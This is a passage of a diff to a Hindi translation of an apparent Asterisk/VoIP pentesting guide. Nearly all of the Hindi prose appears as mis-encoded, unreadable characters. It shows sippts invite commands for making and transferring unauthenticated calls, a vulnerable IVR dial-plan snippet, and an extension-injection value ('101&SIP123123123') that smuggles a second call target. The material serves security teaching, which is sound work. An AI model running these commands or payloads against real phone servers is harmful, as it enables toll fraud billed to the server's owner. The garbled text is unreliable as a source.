рд╕рдВрджрд░реНрдн рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЖрдорддреМрд░ рдкрд░ **`extensions.conf`** рдлрд╝рд╛рдЗрд▓ рдореЗрдВред рд╕рдВрджрд░реНрднреЛрдВ рдХреЛ рд╡рд░реНрдЧрд╛рдХрд╛рд░ рдмреНрд░реИрдХреЗрдЯ рджреНрд╡рд╛рд░рд╛ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕рдВрджрд░реНрдн рдХрд╛ рдирд╛рдо рдЙрдирдХреЗ рднреАрддрд░ рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: ```bash csharpCopy code[my_context] ``` @@ -367,7 +366,7 @@ exten => 100,1,Answer() exten => 100,n,Playback(welcome) exten => 100,n,Hangup() ``` -рдпрд╣ рдЙрджрд╛рд╣рд░рдг "my_context" рдирд╛рдордХ рдПрдХ рд╕рд░рд▓ рд╕рдВрджрд░реНрдн рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ "100" рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╣реИред рдЬрдм рдХреЛрдИ 100 рдбрд╛рдпрд▓ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХреЙрд▓ рдХрд╛ рдЙрддреНрддрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдПрдХ рд╕реНрд╡рд╛рдЧрдд рд╕рдВрджреЗрд╢ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдФрд░ рдлрд┐рд░ рдХреЙрд▓ рд╕рдорд╛рдкреНрдд рдХрд░ рджреА рдЬрд╛рдПрдЧреАред +рдпрд╣ рдЙрджрд╛рд╣рд░рдг "my_context" рдирд╛рдордХ рдПрдХ рд╕рд░рд▓ рд╕рдВрджрд░реНрдн рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ "100" рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╣реИред рдЬрдм рдХреЛрдИ 100 рдбрд╛рдпрд▓ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХреЙрд▓ рдХрд╛ рдЙрддреНрддрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдПрдХ рд╕реНрд╡рд╛рдЧрдд рд╕рдВрджреЗрд╢ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдФрд░ рдлрд┐рд░ рдХреЙрд▓ рд╕рдорд╛рдкреНрдд рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдпрд╣ **рдПрдХ рдФрд░ рд╕рдВрджрд░реНрдн** рд╣реИ рдЬреЛ **рдХрд┐рд╕реА рдЕрдиреНрдп рдирдВрдмрд░ рдкрд░ рдХреЙрд▓ рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: ```scss @@ -384,7 +383,7 @@ include => external > рдХреЛрдИ рднреА **рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рдЕрдиреНрдп рдирдВрдмрд░ рдкрд░ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рдХрд░ рд╕рдХреЗрдЧрд╛ (рдФрд░ рд╕рд░реНрд╡рд░ рдХрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЙрд▓ рдХреЗ рд▓рд┐рдП рднреБрдЧрддрд╛рди рдХрд░реЗрдЧрд╛)ред > [!CAUTION] -> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ **`sip.conf`** рдлрд╝рд╛рдЗрд▓ рдореЗрдВ **`allowguest=true`** рд╣реЛрддрд╛ рд╣реИ, рддреЛ **рдХреЛрдИ рднреА** рд╣рдорд▓рд╛рд╡рд░ **рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреЗ рдХрд┐рд╕реА рдЕрдиреНрдп рдирдВрдмрд░ рдкрд░ рдХреЙрд▓ рдХрд░ рд╕рдХреЗрдЧрд╛ред +> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ **`sip.conf`** рдлрд╝рд╛рдЗрд▓ рдореЗрдВ **`allowguest=true`** рд╣реЛрддрд╛ рд╣реИ, рдлрд┐рд░ **рдХреЛрдИ рднреА** рд╣рдорд▓рд╛рд╡рд░ **рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреЗ рдХрд┐рд╕реА рдЕрдиреНрдп рдирдВрдмрд░ рдкрд░ рдХреЙрд▓ рдХрд░ рд╕рдХреЗрдЧрд╛ред - **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ **PBX рд╕рд░реНрд╡рд░ рд╣рдореЗрдВ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ** рдпрд╛ рдирд╣реАрдВред рдпрджрд┐ SIP рд╕рд░реНрд╡рд░ рдХреА рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╣реИ, рддреЛ рдпрд╣ рд╣рдореЗрдВ рдмрд╛рд╣рд░реА рдирдВрдмрд░реЛрдВ рдкрд░ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред рдпрд╣ рд╣рдореЗрдВ рдХреЙрд▓ рдХреЛ рджреВрд╕рд░реЗ рдмрд╛рд╣рд░реА рдирдВрдмрд░ рдкрд░ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдХрд░рдиреЗ рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред @@ -396,21 +395,21 @@ sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v # Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444. sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` -### рдореБрдлреНрдд рдХреЙрд▓ / рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ IVRS +### Free calls / Misconfigured IVRS -IVRS рдХрд╛ рдорддрд▓рдм рд╣реИ **рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рд╡реЙрдпрд╕ рд░рд┐рд╕реНрдкрд╛рдВрд╕ рд╕рд┐рд╕реНрдЯрдо**, рдПрдХ рдЯреЗрд▓реАрдлреЛрдиреА рддрдХрдиреАрдХ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЖрд╡рд╛рдЬрд╝ рдпрд╛ рдЯрдЪ-рдЯреЛрди рдЗрдирдкреБрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░реАрдХреГрдд рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред IVRS рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХреЙрд▓ рд╣реИрдВрдбрд▓рд┐рдВрдЧ** рд╕рд┐рд╕реНрдЯрдо рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рдХреА рдкреЗрд╢рдХрд╢ рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рдирд╛, рдХреЙрд▓ рд░реВрдЯ рдХрд░рдирд╛, рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреИрдкреНрдЪрд░ рдХрд░рдирд╛ред +IVRS рдХрд╛ рдорддрд▓рдм рд╣реИ **Interactive Voice Response System**, рдПрдХ рдЯреЗрд▓реАрдлреЛрдиреА рддрдХрдиреАрдХ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЖрд╡рд╛рдЬрд╝ рдпрд╛ рдЯрдЪ-рдЯреЛрди рдЗрдирдкреБрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░реАрдХреГрдд рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред IVRS рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХреЙрд▓ рд╣реИрдВрдбрд▓рд┐рдВрдЧ** рд╕рд┐рд╕реНрдЯрдо рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рдХреА рдкреЗрд╢рдХрд╢ рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рдирд╛, рдХреЙрд▓ рд░реВрдЯ рдХрд░рдирд╛, рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреИрдкреНрдЪрд░ рдХрд░рдирд╛ред VoIP рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ IVRS рдЖрдорддреМрд░ рдкрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реЗ рдорд┐рд▓рдХрд░ рдмрдирд╛ рд╣реЛрддрд╛ рд╣реИ: -1. **рд╡реЙрдпрд╕ рдкреНрд░реЙрдореНрдкреНрдЯ**: рдкреВрд░реНрд╡-рд░рд┐рдХреЙрд░реНрдбреЗрдб рдСрдбрд┐рдпреЛ рд╕рдВрджреЗрд╢ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ IVR рдореЗрдиреВ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдФрд░ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВред -2. **DTMF** (рдбреБрдЕрд▓-рдЯреЛрди рдорд▓реНрдЯреА-рдлреНрд░реАрдХреНрд╡реЗрдВрд╕реА) рд╕рд┐рдЧреНрдирд▓рд┐рдВрдЧ: рдлреЛрди рдкрд░ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рджрдмрд╛рдХрд░ рдЙрддреНрдкрдиреНрди рдЯрдЪ-рдЯреЛрди рдЗрдирдкреБрдЯ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ IVR рдореЗрдиреВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рдиреЗ рдФрд░ рдЗрдирдкреБрдЯ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -3. **рдХреЙрд▓ рд░реВрдЯрд┐рдВрдЧ**: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХреЙрд▓ рдХреЛ рдЙрдЪрд┐рдд рдЧрдВрддрд╡реНрдп, рдЬреИрд╕реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд┐рднрд╛рдЧреЛрдВ, рдПрдЬреЗрдВрдЯреЛрдВ, рдпрд╛ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдкрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛ред -4. **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреИрдкреНрдЪрд░**: рдХреЙрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реЛрдВ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░рдирд╛, рдЬреИрд╕реЗ рдЦрд╛рддрд╛ рдирдВрдмрд░, рдХреЗрд╕ рдЖрдИрдбреА, рдпрд╛ рдХреЛрдИ рдЕрдиреНрдп рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рдбреЗрдЯрд╛ред -5. **рдмрд╛рд╣рд░реА рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рд╛рде рдПрдХреАрдХрд░рдг**: IVR рдкреНрд░рдгрд╛рд▓реА рдХреЛ рдбреЗрдЯрд╛рдмреЗрд╕ рдпрд╛ рдЕрдиреНрдп рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдЬреЛрдбрд╝рдирд╛ рддрд╛рдХрд┐ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪ рдпрд╛ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдХреНрд░рд┐рдпрд╛рдПрдБ рдХреА рдЬрд╛ рд╕рдХреЗрдВ, рдпрд╛ рдШрдЯрдирд╛рдПрдБ рдЯреНрд░рд┐рдЧрд░ рдХреА рдЬрд╛ рд╕рдХреЗрдВред +1. **Voice prompts**: рдкреВрд░реНрд╡-рд░рд┐рдХреЙрд░реНрдбреЗрдб рдСрдбрд┐рдпреЛ рд╕рдВрджреЗрд╢ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ IVR рдореЗрдиреВ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдФрд░ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВред +2. **DTMF** (Dual-Tone Multi-Frequency) рд╕рд┐рдЧреНрдирд▓рд┐рдВрдЧ: рдлреЛрди рдкрд░ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рджрдмрд╛рдХрд░ рдЙрддреНрдкрдиреНрди рдЯрдЪ-рдЯреЛрди рдЗрдирдкреБрдЯ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ IVR рдореЗрдиреВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рдиреЗ рдФрд░ рдЗрдирдкреБрдЯ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +3. **Call routing**: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХреЙрд▓ рдХреЛ рдЙрдЪрд┐рдд рдЧрдВрддрд╡реНрдп, рдЬреИрд╕реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд┐рднрд╛рдЧреЛрдВ, рдПрдЬреЗрдВрдЯреЛрдВ, рдпрд╛ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдкрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛ред +4. **User input capture**: рдХреЙрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реЛрдВ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░рдирд╛, рдЬреИрд╕реЗ рдЦрд╛рддрд╛ рдирдВрдмрд░, рдХреЗрд╕ рдЖрдИрдбреА, рдпрд╛ рдХреЛрдИ рдЕрдиреНрдп рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рдбреЗрдЯрд╛ред +5. **Integration with external systems**: IVR рдкреНрд░рдгрд╛рд▓реА рдХреЛ рдбреЗрдЯрд╛рдмреЗрд╕ рдпрд╛ рдЕрдиреНрдп рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдЬреЛрдбрд╝рдирд╛ рддрд╛рдХрд┐ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪ рдпрд╛ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдХреНрд░рд┐рдпрд╛рдПрдБ рдХреА рдЬрд╛ рд╕рдХреЗрдВ, рдпрд╛ рдШрдЯрдирд╛рдПрдБ рдЯреНрд░рд┐рдЧрд░ рдХреА рдЬрд╛ рд╕рдХреЗрдВред -рдПрдХ Asterisk VoIP рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ, рдЖрдк рдбрд╛рдпрд▓ рдкреНрд▓рд╛рди (**`extensions.conf`** рдлрд╝рд╛рдЗрд▓) рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдЬреИрд╕реЗ `Background()`, `Playback()`, `Read()`, рдФрд░ рдЕрдзрд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ IVR рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпреЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЖрдкрдХреЛ рд╡реЙрдпрд╕ рдкреНрд░реЙрдореНрдкреНрдЯ рдЦреЗрд▓рдиреЗ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ, рдФрд░ рдХреЙрд▓ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддреЗ рд╣реИрдВред +Asterisk VoIP рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ, рдЖрдк рдбрд╛рдпрд▓ рдкреНрд▓рд╛рди (**`extensions.conf`** рдлрд╝рд╛рдЗрд▓) рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдЬреИрд╕реЗ `Background()`, `Playback()`, `Read()`, рдФрд░ рдЕрдзрд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ IVR рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпреЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЖрдкрдХреЛ рд╡реЙрдпрд╕ рдкреНрд░реЙрдореНрдкреНрдЯреНрд╕ рдЪрд▓рд╛рдиреЗ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ, рдФрд░ рдХреЙрд▓ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддреЗ рд╣реИрдВред -#### рдХрдордЬреЛрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдЙрджрд╛рд╣рд░рдг +#### Example of vulnerable configuration ```scss exten => 0,100,Read(numbers,the_call,,,,5) exten => 0,101,GotoIf("$[${numbers}"="1"]?200) @@ -419,11 +418,11 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ **1 рджрдмрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ** рдПрдХ рд╡рд┐рднрд╛рдЧ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, **2 рджрдмрд╛рдиреЗ рдХреЗ рд▓рд┐рдП** рджреВрд╕рд░реЗ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╛ **рдкреВрд░реНрдг рдПрдХреНрд╕рдЯреЗрдВрд╢рди** рдпрджрд┐ рд╡рд╣ рдЗрд╕реЗ рдЬрд╛рдирддрд╛ рд╣реИред\ -рдХрдордЬреЛрд░реА рдпрд╣ рд╣реИ рдХрд┐ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреА рд▓рдВрдмрд╛рдИ рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХреА рдЬрд╛рддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ 5 рд╕реЗрдХрдВрдб рдХрд╛ рдЯрд╛рдЗрдордЖрдЙрдЯ рдкреВрд░рд╛ рдирдВрдмрд░ рджрд░реНрдЬ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред** +рдХрдордЬреЛрд░реА рдпрд╣ рд╣реИ рдХрд┐ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреА рд▓рдВрдмрд╛рдИ рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХреА рдЬрд╛рддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ 5 рд╕реЗрдХрдВрдб рдХрд╛ рдЯрд╛рдЗрдордЖрдЙрдЯ рдПрдХ рдкреВрд░реНрдг рдирдВрдмрд░ рджрд░реНрдЬ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред** -### рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЗрдВрдЬреЗрдХреНрд╢рди +### Extension Injection -рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП: +рдПрдХ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП: ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` @@ -431,27 +430,27 @@ exten => _X.,1,Dial(SIP/${EXTEN}) ```scss exten => 101,1,Dial(SIP/101) ``` -рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ **`${EXTEN}`** **рд╕рдВрдЦреНрдпрд╛рдУрдВ** рдХреЗ рдЕрд▓рд╛рд╡рд╛ **рдФрд░ рдЕрдзрд┐рдХ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рдкреБрд░рд╛рдиреЗ Asterisk рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ), рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **`101&SIP123123123`** рдХреЛ рдлреЛрди рдирдВрдмрд░ 123123123 рдкрд░ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреЗрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдФрд░ рдЗрд╕рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реЛрдЧрд╛: +рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ **`${EXTEN}`** **рд╕рдВрдЦреНрдпрд╛рдУрдВ** рдХреЗ рдЕрд▓рд╛рд╡рд╛ **рдЕрдзрд┐рдХ** рдХреЛ рдкреЗрд╢ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рдкреБрд░рд╛рдиреЗ Asterisk рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ), рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **`101&SIP123123123`** рдХреЛ рдлреЛрди рдирдВрдмрд░ 123123123 рдкрд░ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреЗрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдФрд░ рдЗрд╕рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реЛрдЧрд╛: ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` -рдЗрд╕рд▓рд┐рдП, **`101`** рдФрд░ **`123123123`** рдкрд░ рдХреЙрд▓ рднреЗрдЬреА рдЬрд╛рдПрдЧреА рдФрд░ рдХреЗрд╡рд▓ рдкрд╣рд▓рд╛ рдХреЙрд▓ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрдЧрд╛... рд▓реЗрдХрд┐рди рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **рдРрд╕реЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА рднреА рдорд┐рд▓рд╛рди рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ** рдЬреЛ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЕрд╕реНрддрд┐рддреНрд╡ рдореЗрдВ рдирд╣реАрдВ рд╣реИ, рддреЛ рд╡рд╣ **рдХреЗрд╡рд▓ рдЗрдЪреНрдЫрд┐рдд рдирдВрдмрд░ рдкрд░ рдХреЙрд▓ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред +рдЗрд╕рд▓рд┐рдП, **`101`** рдФрд░ **`123123123`** рдкрд░ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдХреЗрд╡рд▓ рдкрд╣рд▓рд╛ рдХреЙрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрдЧрд╛... рд▓реЗрдХрд┐рди рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **рдРрд╕реЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА рднреА рдорд┐рд▓рд╛рди рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ** рдЬреЛ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЕрд╕реНрддрд┐рддреНрд╡ рдореЗрдВ рдирд╣реАрдВ рд╣реИ, рддреЛ рд╡рд╣ **рдХреЗрд╡рд▓ рдЗрдЪреНрдЫрд┐рдд рдирдВрдмрд░ рдкрд░ рдХреЙрд▓ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред ## SIPDigestLeak рднреЗрджреНрдпрддрд╛ -SIP Digest Leak рдПрдХ рднреЗрджреНрдпрддрд╛ рд╣реИ рдЬреЛ рдХрдИ SIP рдлреЛрди рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдФрд░ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ IP рдлреЛрди рдХреЗ рд╕рд╛рде-рд╕рд╛рде 